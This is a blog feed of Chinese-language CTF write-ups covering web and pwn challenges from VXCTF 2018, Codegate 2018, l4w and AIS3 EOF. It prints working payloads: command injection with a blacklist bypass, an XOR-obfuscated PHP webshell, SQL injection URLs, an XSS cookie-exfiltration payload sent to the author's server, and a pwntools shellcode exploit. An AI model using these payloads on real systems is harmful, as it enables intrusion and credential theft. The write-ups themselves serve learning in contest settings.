DO_FCALL_BY_NAME(None, &apos;encode&apos;);</div><div class="line">      #35 (117)?(!0, None);</div><div class="line">      #36 (130)?(None, None);</div><div class="line">      #37 RETURN(None, None);</div><div class="line"></div><div class="line">&#125;</div><div class="line">function encode() &#123;</div><div class="line">      #0 RECV(None, None);</div><div class="line">      #1 ASSIGN(None, &apos;&apos;);</div><div class="line">      #2 ASSIGN(None, 0);</div><div class="line">      #3 JMP(-&gt;-81, None);</div><div class="line">      #4 DO_FCALL_BY_NAME(None, &apos;dechex&apos;);</div><div class="line">      #5 DO_FCALL_BY_NAME(None, &apos;ord&apos;);</div><div class="line">      #6 FETCH_DIM_R(None, None);</div><div class="line">      #7 (117)?(None, None);</div><div class="line">      #8 (129)?(None, None);</div><div class="line">      #9 (117)?(None, None);</div><div class="line">      #10 (129)?(None, None);</div><div class="line">      #11 ASSIGN(None, None);</div><div class="line">      #12 (121)?(None, None);</div><div class="line">      #13 IS_EQUAL(None, 1);</div><div class="line">      #14 JMPZ(None, -&gt;-94);</div><div class="line">      #15 CONCAT(&apos;0&apos;, None);</div><div class="line">      #16 ASSIGN_CONCAT(None, None);</div><div class="line">      #17 JMP(-&gt;-96, None);</div><div class="line">      #18 ASSIGN_CONCAT(None, None);</div><div class="line">      #19 PRE_INC(None, None);</div><div class="line">      #20 (121)?(None, None);</div><div class="line">      #21 IS_SMALLER(None, None);</div><div class="line">      #22 JMPNZ(None, -&gt;134217612);</div><div class="line">      #23 RETURN(None, None);</div><div class="line"></div><div class="line">&#125;</div><div class="line"></div><div class="line">#0 ASSIGN(None, &apos;input_your_flag_here&apos;);</div><div class="line">#1 DO_FCALL_BY_NAME(None, &apos;encrypt&apos;);</div><div class="line">#2 SEND_VAL(&apos;this_is_a_very_secret_key&apos;, None);</div><div class="line">#3 (117)?(None, None);</div><div class="line">#4 (130)?(None, None);</div><div class="line">#5 IS_IDENTICAL(None, &apos;85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab&apos;);</div><div class="line">#6 JMPZ(None, -&gt;-136);</div><div class="line">#7 ECHO(&apos;Congratulation! You got it!&apos;, None);</div><div class="line">#8 EXIT(None, None);</div><div class="line">#9 ECHO(&apos;Wrong Answer&apos;, None);</div><div class="line">#10 EXIT(None, None);</div></pre></td></tr></table></figure>
<p>後面就是去逆向然後推FLAG惹</p>
<h2 id="VXCTF_2018"><a href="#VXCTF_2018" class="headerlink" title="VXCTF 2018"></a>VXCTF 2018</h2><p>這是vxcon的一場小CTF，雖然沒啥人參加</p>
<p>不過題目其實蠻有趣的</p>
<p>我也不小心刷了個第四名XDD</p>
<h3 id="PHP_of_PHP"><a href="#PHP_of_PHP" class="headerlink" title="PHP of PHP"></a>PHP of PHP</h3><p>網站有兩個功能：(1)<code>view</code> (2)<code>diff</code></p>
<p>view可以看各個版本的php.net源碼</p>
<p>diff可以比較跟目前的差異 (用diff比)</p>
<p>看一下source，會發現她用JS送request</p>
<p>view是直接用GET訪問取得內容</p>
<p>diff是用POST送JSON過去要內容</p>
<p>送的都是<code>&quot;版本名/index&quot;</code></p>
<p>看到這個直覺就是LFI</p>
<p>把diff的request改成<code>{&quot;version&quot;:&quot;/etc/passwd&quot;}</code></p>
<p>Bang! 噴出來惹 果然可以LFI</p>
<p>再來就踹<code>{&quot;version&quot;:&quot;/v*/w*/h*/d*&quot;}</code>看diff.php源碼</p>
<p>噴出這段關鍵code:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line">set_time_limit(<span class="number">3</span>);</div><div class="line">@$data = json_decode(file_get_contents(<span class="string">'php://input'</span>), <span class="keyword">true</span>);</div><div class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($data[<span class="string">"version"</span>]))&#123;</div><div class="line">   $v = $data[<span class="string">"version"</span>];</div><div class="line">   <span class="keyword">if</span>(strlen($v) &gt;= <span class="number">15</span>)&#123;<span class="keyword">exit</span>(<span class="string">"Input too long!"</span>);&#125;</div><div class="line">   <span class="keyword">if</span>(preg_match(<span class="string">'/[^a-zA-Z0-9\/\?\*\t\n]/'</span>,$v))&#123;<span class="keyword">exit</span>(<span class="string">"Special character found in input!"</span>);&#125;</div><div class="line">   <span class="keyword">if</span>(preg_match(<span class="string">'/ls|cat|tac|nl|more|less|head|tail|od|strings|base64|sort|pg|uniq|rev/'</span>,$v))&#123;<span class="keyword">exit</span>(<span class="string">"Blacklisted command found in input!"</span>);&#125;</div><div class="line">   chdir(<span class="string">"web-php"</span>);</div><div class="line">   @system(<span class="string">"diff current/index $v"</span>);</div></pre></td></tr></table></figure>
<p>可以明顯看到，這裡可以Command Injection</p>
<p>只是他有擋掉特殊符號和一些關鍵字</p>
<p>而換行雖然沒擋，可是json_decode不吃換行</p>
<p>但是<code>json_decode</code>可以吃<code>\n</code>和<code>\t</code>，他decode會自動轉成換行</p>
<p>不能ls，可以這樣列目錄: <code>{&quot;version&quot;:&quot;\necho\t*&quot;}</code></p>
<p>再來可以發現存在這個檔案: <code>/th1s_i5_4_l0n9_f0ld3r_n4me/7hi5_i5_a_s3cre7_fi13</code></p>
<p>直接讀出來就是FLAG: <code>{&quot;version&quot;:&quot;/th*/7*&quot;}</code></p>
<p><code>vxctf{YezWiiWerBorn2MakeHistory}</code></p>
<h3 id="Patch_Peep_Huck__28w_29"><a href="#Patch_Peep_Huck__28w_29" class="headerlink" title="Patch Peep Huck (w)"></a>Patch Peep Huck (w)</h3><p>這題應該是這場Web最有趣的一題XD</p>
<p>很幸運的這題我拿到首殺</p>
<p>最後也只有兩隊解出來</p>
<p>題目長這樣:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?</span>=!$I=&amp;$_FILES[!!$l=<span class="string">'tmp_name'</span>]||$I[<span class="string">'size'</span>]&gt;&gt;<span class="number">7</span>||preg_match(<span class="string">'/\w/'</span>,join(file($I[$l])))?!show_source(<span class="keyword">__FILE__</span>):!<span class="keyword">include</span>($I[$l]);</div></pre></td></tr></table></figure>
<p><code>!!$l=&#39;tmp_name&#39;</code>會把<code>$l</code>設成<code>&#39;tmp_name&#39;</code>，並且因為<code>NOT</code>運算，最後整句結果是1</p>
<p>也就是<code>$_FILES[!!$l=&#39;tmp_name&#39;]</code>實際上就是存取<code>$_FILES[1]</code></p>
<p><code>$I[&#39;size&#39;]&gt;&gt;7</code>是判斷size不能超過這個大小，否則這邊會變成True，就沒辦法include檔案了</p>
<p>重點在最後一個條件: <code>preg_match(&#39;/\w/&#39;,join(file($I[$l])))</code></p>
<p>這邊是取出我們上傳的檔案的內容，如果裡面有出現英數字或底線，就不給你include</p>
<p>所以我們就是構造個「不用到英數字和底線」的webshell</p>
<p>方法非常多，我這邊是用XOR去構造system字串和我要執行的command</p>
<p>My Payload:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?</span>=</div><div class="line">$💩 = <span class="string">'[[[[@@'</span> ^ <span class="string">'("(/%-'</span>;</div><div class="line">$💩((<span class="string">'@@['</span>^<span class="string">'#!/'</span>).<span class="string">" /????"</span>);</div></pre></td></tr></table></figure>
<p>他其實在做的就是<code>system(&quot;cat /????&quot;)</code></p>
<p><code>vxctf{Symb01icExecut10nCanPhuck}</code></p>
<h2 id="Codegate_2018_qual"><a href="#Codegate_2018_qual" class="headerlink" title="Codegate 2018 qual"></a>Codegate 2018 qual</h2><h3 id="SimpleCMS"><a href="#SimpleCMS" class="headerlink" title="SimpleCMS"></a>SimpleCMS</h3><p>這題是Code Review題目</p>
<p>蠻明顯感覺就是在考SQL Injection</p>
<p>但擋了一堆東西</p>
<p>可以發現<code>col</code>參數沒有擋<code>#</code>和<code>:</code></p>
<p>所以可以註解掉後面整句SQL</p>
<p>那要怎麼利用這個點呢</p>
<p><code>search</code>參數可以塞換行(<code>%0a</code>)!!</p>
<p>換行之後可以繼續接SQL，這是這題最好玩的小trick</p>
<p>透過註解+換行把中間一段不想要的SQL註解掉</p>
<p>後面就可以去Union based注入惹</p>
<p>只是這題他有擋<code>information.schema</code></p>
<p>沒辦法知道表名、欄位名</p>
<p>這裡可以用到另一個小trick</p>
<p>因為他的table engine是<code>innodb</code></p>
<p>我們可以這樣撈表名：</p>
<p><code>/index.php?act=board&amp;mid=search&amp;type=2&amp;col=title|idx%23&amp;search=%0a)union+select+1,table_name,3,4,5 from mysql.innodb_table_stats limit 2,1--+</code></p>
<p>爆flag也可以不需要Column name就撈出來:</p>
<p><code>/index.php?act=board&amp;mid=search&amp;type=2&amp;col=title|idx%23&amp;search=%0a)union+select+c,2,3,4,5 from (SELECT 1 a,2 b,3 c, 4 d UNION SELECT * FROM 41786c497656426a6149_flag)x limit 1,1--+</code></p>
<h2 id="l4w"><a href="#l4w" class="headerlink" title="l4w"></a>l4w</h2><p><a href="http://l4w.pw/%f0%9f%a4%94/" target="_blank" rel="external">http://l4w.pw/%f0%9f%a4%94/</a></p>
<p>題目:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line">&lt;link rel=<span class="string">"stylesheet"</span> type=<span class="string">"text/css"</span> href=<span class="string">"lul.css"</span>&gt; </div><div class="line">&lt;pre&gt;</div><div class="line">&lt;h3&gt;🔥 Hall of Fame 🔥&lt;/h3&gt;</div><div class="line"><span class="meta">&lt;?</span>=file_get_contents(<span class="string">'hof.txt'</span>);<span class="meta">?&gt;</span></div><div class="line">&lt;hr&gt;</div><div class="line"><span class="meta">&lt;?php</span></div><div class="line"><span class="comment">// Connect to localhost:8888 to get the flag</span></div><div class="line"><span class="keyword">if</span>($_GET[<span class="string">'👉🏻'</span>] == <span class="string">'👌🏻'</span>) <span class="keyword">die</span>(phpinfo());</div><div class="line">$_ = $_GET[<span class="string">'⁣'</span>];</div><div class="line">highlight_file(<span class="keyword">__FILE__</span>);</div><div class="line"><span class="keyword">die</span>(<span class="string">'the game is over'</span>); <span class="comment">// this page will be removed soon.</span></div><div class="line"><span class="keyword">if</span>(preg_match(<span class="string">"/[\w]&#123;4,&#125;/is"</span>,$_) || preg_match(<span class="string">"/\[|\"|'|\||\^|~|\./is"</span>,$_)) <span class="comment">// mình thích thì mình block hoy 👯</span></div><div class="line">     <span class="keyword">die</span>(<span class="string">"🙅"</span>); <span class="comment">// 4cm is too much</span></div><div class="line"><span class="keyword">eval</span>(substr($_,<span class="number">0</span>,<span class="number">30</span>));</div></pre></td></tr></table></figure>
<p>這是我過年時做的一題</p>
<p>很有趣的php題</p>
<p>超愛這種短小又很吃技巧的題目XD</p>
<p>這題解法很多，所以做完可以學到很多</p>
<p>他限制了很多，例如不能出現連續長度4以上的英文數字底線等</p>
<p>然後送過去的payload，他只會取前30 Bytes去<code>eavl</code></p>
<p>最後要去讀<code>localhost:8888</code>才能拿到FLAG</p>
<p>我自己一開始的方法就跟vxctf那題一樣，用xor構造system</p>
<p>但太容易超過長度30，就放棄了</p>
<p>我後來的解法是: <code>?%E2%81%A3=`$_`;//;a=sle;b=ep;$a$b 10;</code></p>
<p><code>`$_`;//;</code>後面可以接指令</p>
<p>然後把shell script用類似HITCON CTF 2017 Babyfirst的技巧寫進<code>/tmp</code></p>
<p>再把Reverse shell噴回來</p>
<p>但噴回來還有個坑XD</p>
<p>他沒有<code>nc</code>, <code>curl</code>, <code>wget</code>, <code>telnet</code>…等指令</p>
<p>要怎麼去讀localhost:8888 ?</p>
<p>後來我發現他有<code>busybox</code>，裏頭有<code>telnet</code>可以用</p>
<p>所以<code>busybox telnet localhost 8888</code>就讀出FLAG惹</p>
<p>其他人還有用<code>cat &lt; /dev/tcp/0/8888</code>或<code>ssh -v 0 8888</code>的</p>
<p>更多解法可以看writeup: <a href="https://github.com/l4wio/CTF-challenges-by-me/tree/master/lixi_2018/writeup" target="_blank" rel="external">https://github.com/l4wio/CTF-challenges-by-me/tree/master/lixi_2018/writeup</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>這篇主要用來記錄近期幾場CTF的一些Writeup和心得</p>
<h2 id="DEFCON_CTF_2018_Qual"><a href="#DEFCON_CTF_2018_Qual" class="headerlink" title="DEFCON CTF 2018 Qual"></a>DEFCON CTF 2018 Qual</h2><p>這場比賽我們隊和台大還有交大等隊伍一起組成聯隊</p>
<p>見識到其他隊伍跟自己的差距，學了很多</p>
<p><img src="https://i.imgur.com/1m5PjtZ.png" alt="rank"></p>]]>
    
    </summary>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[AIS3 EOF CTF 初賽]]></title>
    <link href="http://blog.kaibro.tw/2018/01/16/AIS3-EOF-2017-%E5%88%9D%E8%B3%BD/"/>
    <id>http://blog.kaibro.tw/2018/01/16/AIS3-EOF-2017-初賽/</id>
    <published>2018-01-15T16:53:52.000Z</published>
    <updated>2018-02-26T07:57:33.000Z</updated>
    <content type="html"><![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>這場比賽是跟台大、交大、台科大三校的計算機安全課程期末考一起辦的</p>
<p>然後任何人都可以報名參加</p>
<p>前十名的隊伍可以進決賽</p>
<h2 id="Pwn"><a href="#Pwn" class="headerlink" title="Pwn"></a>Pwn</h2><p>由於我們這隊基本上沒人熟Heap 囧</p>
<p>我也只摸了幾題課程網站的練習題</p>
<p>所以Pwn的解題狀況蠻慘的</p>
<p><code>Magicheap2</code>這種一堆人解掉的題目，我們就解不出來</p>
<a id="more"></a>
<h3 id="writeme"><a href="#writeme" class="headerlink" title="writeme"></a>writeme</h3><p>這題可以把你輸入位址的值印出來</p>
<p>然後可以蓋掉這個位址的值</p>
<p>整個就很水，輕鬆任意讀寫</p>
<p>直接Hijack got就行惹</p>
<p>(印出puts got內容算libc base，然後蓋成One gadget)</p>
<h3 id="Bingo"><a href="#Bingo" class="headerlink" title="Bingo"></a>Bingo</h3><p>這題洞還蠻明顯的</p>
<p>可是我們在最後一步一直鬼打牆</p>
<p>所以我第三天一直在搞這題，然後就沒時間碰其他題惹QQ</p>
<p>首先，因為這題rand用同個seed</p>
<p>所以每次bingo的答案都一樣</p>
<p><br></p>
<p>然後這題沒開DEP，所以可以跳到Stack上執行</p>
<p>又剛好的，他輸出Bingo的地方是用<code>%s</code></p>
<p>只要不讓他有NULL Byte，就可以leak stack位址</p>
<p>看到這邊，就很直覺想到，塞shellcode進去Bingo buffer</p>
<p>然後最後再跳到這個Buffer上執行就可惹</p>
<p>但是這題有個麻煩的地方</p>
<p>就是他一次輸入4 bytes，輸入16次</p>
<p>但是他會做NumberCheck</p>
<p>先把4 bytes用<code>atoi()</code>轉成數字</p>
<p>然後會檢查這個數字有沒有出現過、有沒有介於0 ~ 200</p>
<p>這邊因為atoi的關係，前面一定要塞數字(或<code>+</code>, <code>-</code>)讀出來才不會是0</p>
<p>e.g. <code>atoi(&quot;abc5566&quot;) = 0</code>、<code>atoi(&quot;123abc&quot;) = 123</code>、<code>atoi(&quot; \r\t87&quot;) = 87</code></p>
<p><br><br>只要讓16個數字中的8個數字對，剩下都可以隨便填符合check的字元</p>
<p>再加上他最後會從<code>buffer[60]</code>讀24 Bytes，其中到return address的padding是12 bytes</p>
<p>但是因為12 Bytes太短，勢必一定要構造一段去填前面的部分，就要湊到符合numbercheck</p>
<p>我們最主要就卡在這邊的構造shellcode (可能平常練太少QQ</p>
<p>後來找了一個21 bytes的shellcode來改</p>
<p>有幾個關鍵：</p>
<ol>
<li><p>其中一次輸入的4個Bytes可以全部都不為數字(會被當成0)</p>
</li>
<li><p>因為Buffer在stack上，所以shellcode的<code>push/pop</code>可能搞壞shellcode buffer</p>
</li>
<li><p>有一些數字開頭的指令(有的沒用到可以當成NOP)</p>
</li>
</ol>
<p>例如：</p>
<p><code>\x32\x3e</code> =&gt; <code>xor bh,BYTE PTR [rsi]</code></p>
<p><code>\x34\x35</code> =&gt; <code>xor al,0x35</code></p>
<p><code>\x32\x36</code> =&gt; <code>xor dh,BYTE PTR [rsi]</code></p>
<p><code>\x32\x38</code> =&gt; <code>xor bh,BYTE PTR [rax]</code></p>
<p><code>\x31\xf6</code> =&gt; <code>xor esi,esi</code></p>
<p>塞這種在開頭，後面就能多串2 Bytes shellcode</p>
<p>或是例如<code>\x34\x35</code>就可以串成：<code>XXX\x34</code>+<code>\x35YYY</code>，其對應<code>0</code>和<code>5</code> (X和Y為非數字)</p>
<p>某些狀況也可以用「1 Byte」的指令，例如：</p>
<p><code>\x5c</code> =&gt; <code>pop rsp</code></p>
<p><code>\x5d</code> =&gt; <code>pop rbp</code></p>
<p>根據以上幾點，改一下21 bytes的<code>execve(&quot;/bin//sh&quot;)</code>的shellcode就能拿shell惹</p>
<p>不過我們最後是沒有拿到這一題的分數啦</p>
<p>為啥？ 因為我比完10分鐘才拿到shell啊  </p>
<p>崩╰(〒皿〒)╯潰</p>
<p>Debug速度太慢+上電腦剛好爛掉，比完才發現syscall時rsi忘記清乾淨</p>
<p>改了2 Bytes，換成<code>\x31\xf6</code>就成功拿到shell惹</p>
<p>exploit:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"><span class="keyword">import</span> random</div><div class="line"></div><div class="line">r = remote(<span class="string">"35.201.132.60"</span>, <span class="number">12001</span>)</div><div class="line"></div><div class="line">nop = <span class="string">"\x32\x2e"</span></div><div class="line">nop2 = <span class="string">"\x34\x35"</span></div><div class="line">nop3 = <span class="string">"\x32\x36"</span></div><div class="line">nop4 = <span class="string">"\x32\x38"</span></div><div class="line">pop_rbp = <span class="string">"\x5d"</span></div><div class="line">xor_esi_esi = <span class="string">"\x31\xf6"</span> <span class="comment"># xor esi, esi</span></div><div class="line"></div><div class="line"><span class="comment"># original shellcode: \xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05</span></div><div class="line">payload = <span class="string">"87"</span> + pop_rbp + nop3 + pop_rbp + <span class="string">"\xf7\xe6"</span> + xor_esi_esi + <span class="string">"\x48\xbf\x2f\x62\x69\x6e126 \x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"</span></div><div class="line"></div><div class="line">r.sendline(<span class="string">"183"</span>) <span class="comment"># 1</span></div><div class="line">r.sendline(<span class="string">"86"</span>) <span class="comment"># 2</span></div><div class="line">r.sendline(<span class="string">"177"</span>) <span class="comment"># 3</span></div><div class="line">r.sendline(<span class="string">"115"</span>) <span class="comment"># 4</span></div><div class="line">r.sendline(<span class="string">"193"</span>) <span class="comment"># 5</span></div><div class="line">r.sendline(<span class="string">"135"</span>) <span class="comment"># 6</span></div><div class="line">r.sendline(<span class="string">"186"</span>) <span class="comment"># 7</span></div><div class="line">r.sendline(<span class="string">"92"</span>) <span class="comment"># 8</span></div><div class="line">r.sendline(<span class="string">"49"</span>) <span class="comment"># 9</span></div><div class="line">r.sendline(<span class="string">"21"</span>) <span class="comment"># 10</span></div><div class="line">r.sendline(<span class="string">"162"</span>) <span class="comment"># 11</span></div><div class="line">r.send(payload)</div><div class="line"></div><div class="line">r.recvuntil(<span class="string">"126 "</span>) <span class="comment"># use 4 bytes to leak stack address</span></div><div class="line">s = u64(r.readline()[:<span class="number">8</span>].strip().ljust(<span class="number">8</span>, <span class="string">"\x00"</span>))</div><div class="line"><span class="keyword">print</span> <span class="string">"Stack: "</span>, hex(s)</div><div class="line"></div><div class="line">target = s - <span class="number">64</span> + <span class="number">11</span> * <span class="number">3</span> - <span class="number">3</span></div><div class="line"><span class="keyword">print</span> <span class="string">"Target: "</span>,hex(target)</div><div class="line">r.send(p64(target) + <span class="string">"aaaa"</span>)</div><div class="line">sleep(<span class="number">0.1</span>)</div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{THIS_challenge_is_too_easy_QQ}</code></p>
<p>Update:</p>
<p>這題其實不用這麼麻煩 (全世界應該只有我這樣解吧…</p>
<p>shellcode直接寫read(12 bytes長度夠寫)，然後讓他寫在stack接下去的地方</p>
<p>這樣就不用管啥numbercheck或長度限制惹 QQ</p>
<p><br></p>
<h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><p>Web部分主要是我負責的</p>
<p>其他人對這領域也幾乎不熟</p>
<p>但是我平常沒啥在碰前端，因為不太喜歡javascript (X</p>
<p>所以看到一堆XSS題，也是一個傻眼貓咪</p>
<p>然後也沒人可以討論QQ</p>
<h3 id="xssme"><a href="#xssme" class="headerlink" title="xssme"></a>xssme</h3><p>這題一開始我卡在輸入驗證碼的地方</p>
<p>我以為要自己寫code算 (懶</p>
<p>沒想到旁邊那個按鈕點下去就會開始算惹</p>
<p>這題很多地方都可以XSS，例如username顯示的地方和寄信的內容</p>
<p>可是我們主要是要XSS admin，但信件的usernmae不能XSS</p>
<p>所以目標很明確是在內容部分</p>
<p>比較麻煩的地方是，這題擋了很多東西，例如：</p>
<p><code>&lt;script</code>, <code>&lt;iframe</code>, <code>innerHTML</code>, <code>)</code>, <code>}</code>, <code>.open</code>, <code>document.write</code>, <code>onerror</code>, <code>XMLHttprequest</code>…</p>
<p>我自己繞的方法是：</p>
<p><code>&lt;svg/onload=&quot;XXX&quot;&gt;</code>  XXX可以塞javascript</p>
<p>所以為了leak admin cookie，就要想辦法把資料傳出來</p>
<p>我的payload:</p>
<p><code>&lt;svg/onload=&quot;document.location=&#39;http://kaibro.tw/log.php?c=&#39;+document.cookie&quot;&gt;</code></p>
<p>這樣admin看到就會跳轉到我的Server，並夾帶cookie當參數</p>
<p>我只要去Server收log就行惹</p>
<p>拿到之後，可以看到cookie中就有這題的flag惹</p>
<p><code>FLAG{Sometimes, XSS can be critical vulnerability &lt;script&gt;alert(1)&lt;/script&gt;}</code></p>
<h3 id="webshell"><a href="#webshell" class="headerlink" title="webshell"></a>webshell</h3><p>這題打開來，會看到一堆空白行</p>
<p>拉到最底，可以看到一段php code</p>
<p>主要就是解密一段字串，然後執行</p>
<p>一般webshell為了掩人耳目，時常會這樣子簡單的加密</p>
<p>這邊要還原回去很簡單，把前面的<code>eval</code>改成<code>echo</code></p>
<p>就會把解密出的code印出來</p>
<p>大概長這樣:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">run</span><span class="params">()</span> </span></div><div class="line">&#123; </div><div class="line">    <span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'cmd'</span>]) &amp;&amp; <span class="keyword">isset</span>($_GET[<span class="string">'sig'</span>])) &#123; </div><div class="line">        $cmd = hash(<span class="string">'SHA512'</span>, $_SERVER[<span class="string">'REMOTE_ADDR'</span>]) ^ (string)$_GET[<span class="string">'cmd'</span>]; </div><div class="line">        $key = $_SERVER[<span class="string">'HTTP_USER_AGENT'</span>] . sha1($_SERVER[<span class="string">'HTTP_HOST'</span>]); </div><div class="line">        $sig = hash_hmac(<span class="string">'SHA512'</span>, $cmd, $key); </div><div class="line">        <span class="keyword">if</span>($sig === (string)$_GET[<span class="string">'sig'</span>]) &#123; </div><div class="line">            header(<span class="string">'Content-Type: text/plain'</span>); </div><div class="line">            <span class="keyword">return</span> !!system($cmd); </div><div class="line">        &#125; </div><div class="line">    &#125; </div><div class="line">    <span class="keyword">return</span> <span class="keyword">false</span>; </div><div class="line">&#125; </div><div class="line"></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">fuck</span><span class="params">()</span> </span>&#123; </div><div class="line">    <span class="keyword">print</span>(str_repeat(<span class="string">"\n"</span>, <span class="number">4096</span>)); </div><div class="line">    readfile($_SERVER[<span class="string">'SCRIPT_FILENAME'</span>]); </div><div class="line">&#125; </div><div class="line"></div><div class="line">run() ?: fuck();</div></pre></td></tr></table></figure>
<p>很明顯的，run的部分是webshell的密碼部分</p>
<p>要想辦法輸入符合的密碼，才能執行command</p>
<p>這裡他的<code>$cmd</code>變數是<code>SHA512(使用者IP) xor $_GET[&#39;cmd&#39;]</code></p>
<p>然後<code>$key</code>是<code>UserAgent + SHA1(Server Host)</code></p>
<p>最後我們輸入的<code>$_GET[&#39;sig&#39;]</code>要等於<code>hash_mac(&#39;SHA512&#39;, $cmd, $key)</code>才會跑<code>system($cmd)</code></p>
<p>這裡的話，假設我們要執行的是<code>ls</code></p>
<p>那代表<code>$cmd</code>，也就是<code>SHA512(使用者IP) xor $_GET[&#39;cmd&#39;]</code>要為<code>ls</code></p>
<p>而對於同個使用者來說，IP可以暫且視為不變的，可控的部分為<code>$_GET[&#39;cmd&#39;]</code></p>
<p>所以為了讓結果變成<code>ls</code>，我們要輸入的<code>$_GET[&#39;cmd&#39;]</code>為<code>SHA512(使用者IP) xor &#39;ls&#39;</code></p>
<p>這邊XOR出來的結果可能是一些亂碼，輸出查看時可以先把他hex過</p>
<p>要餵給Server時，可以用URL encode</p>
<p>最後<code>$sig</code>的部分就很簡單，直接算<code>hash_mac(&#39;SHA512&#39;, $cmd, $key)</code>結果塞進去就行</p>
<p>接著就是把flag讀出來就行</p>
<p>我的產payload script:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"></div><div class="line"><span class="meta">&lt;?php</span></div><div class="line">$cmd = $_GET[<span class="string">'c'</span>];</div><div class="line">$s =  hash(<span class="string">'SHA512'</span>,$_SERVER[<span class="string">'REMOTE_ADDR'</span>]) ^ $cmd;</div><div class="line">$key = $_SERVER[<span class="string">'HTTP_USER_AGENT'</span>] . sha1(<span class="string">"webshell.eof-ctf.ais3.ntu.st"</span>);</div><div class="line">$sig = hash_hmac(<span class="string">'SHA512'</span>, $cmd, $key);</div><div class="line"></div><div class="line"><span class="keyword">echo</span> <span class="string">"input sig: "</span>.$sig;</div><div class="line"><span class="keyword">echo</span> <span class="string">"&lt;br&gt;"</span>;</div><div class="line"><span class="keyword">echo</span> <span class="string">"input cmd: "</span>.urlencode($s);</div></pre></td></tr></table></figure>
<p><code>FLAG{Webshell? I only know sea shell~!}</code></p>
<h3 id="command_executor"><a href="#command_executor" class="headerlink" title="command executor"></a>command executor</h3><p>這題的話，他是一個有很多功能的網頁</p>
<p>大概有這些功能：</p>
<ol>
<li><p>執行<code>man</code>指令</p>
</li>
<li><p>上傳一個<code>tar</code>檔，然後test他，但不會解壓縮</p>
</li>
<li><p>執行<code>env</code>和<code>ls</code></p>
</li>
<li><p>ls list目錄</p>
</li>
</ol>
<p>第一個踹的當然是Command Injection</p>
<p>但很明顯擋掉惹</p>
<p>然後看到上傳壓縮檔，我第一個直覺是之前某場比賽上傳symbolic link讀檔的招</p>
<p>可是這邊他不會解壓縮，只有測試而已</p>
<p>再來<code>env</code>和<code>ls</code>這個地方，很明顯是想暗示啥</p>
<p>後來才知道是想告訴我們可以shellshock</p>
<p>source code中<code>blacklist</code>的地方也有很明顯的暗示</p>
<p>最後ls list目錄的地方，可以看到<code>/</code>下面有<code>flag-reader</code>和<code>flag</code></p>
<p>很明顯是告訴我們要拿shell才讀得到</p>
<p>然後這邊參數也可以<code>LFI</code>，可以用<code>php://filter</code>去讀source code</p>
<p><code>https://command-executor.eof-ctf.ais3.ntu.st/index.php?func=php://filter/convert.base64-encode/resource=index</code></p>
<p>把幾個php檔大致讀了一遍之後，似乎沒啥重大發現</p>
<p>接著我就跑去踹man了</p>
<p>我原本以為他想考<code>man -P /bin/cat /etc/passwd</code>可以執行指令XD</p>
<p>可是看了Source Code後，發現應該不是這個思路</p>
<p>踹了一下，又發現原來<code>man /etc/passwd</code>可以直接讀檔XDD</p>
<p>翻箱倒櫃了一下，也沒發現啥東西</p>
<p>後來才知道，要用shellshock去執行指令</p>
